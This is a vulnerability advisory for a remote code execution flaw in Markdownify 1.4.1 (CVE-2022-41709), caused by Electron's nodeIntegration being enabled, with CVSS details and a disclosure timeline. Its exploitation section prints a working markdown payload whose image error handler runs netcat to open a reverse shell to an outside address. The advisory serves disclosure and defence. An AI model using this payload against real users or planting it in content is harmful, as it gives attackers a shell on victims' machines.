Markdownify 1.4.1 - RCE
Summary
| Name | Markdownify 1.4.1 - RCE |
| Code name | |
| Product | Markdownify |
| Affected versions | Version 1.4.1 |
| State | Public |
| Release date | 2022-10-14 |
Vulnerability
| Kind | Remote Command Execution |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSSv3.1 Base Score | 8.6 |
| Exploit available | Yes |
| CVE ID(s) |
Description
Markdownify version 1.4.1 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Markdownify. This is possible because the application has the "nodeIntegration" option enabled.
Vulnerability
This vulnerability occurs because the application has the "nodeIntegration" option enabled. Due to the above, an attacker can embed malicious JS code in a markdown file and send it to the victim for viewing to achieve an RCE.
Exploitation
To exploit this vulnerability, the following file must be sent to a user to be opened with Markdownify.
exploit.md
<img src=1 onerror="require('child_process').exec('nc 192.168.20.38 4444 -e /bin/bash');"/>
Evidence of exploitation
Our security policy
We have reserved the CVE-2022-41709 to refer to this issue from now on.
System Information
-
Version: Markdownify 1.4.1
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://github.com/amitmerchant1990/electron-markdownify
Timeline
2022-09-23
Vulnerability discovered.
2022-09-23
Vendor contacted.
2022-09-23
Vendor replied acknowledging the report.
2022-09-23
Vendor Confirmed the vulnerability.
2022-10-14
Public Disclosure.
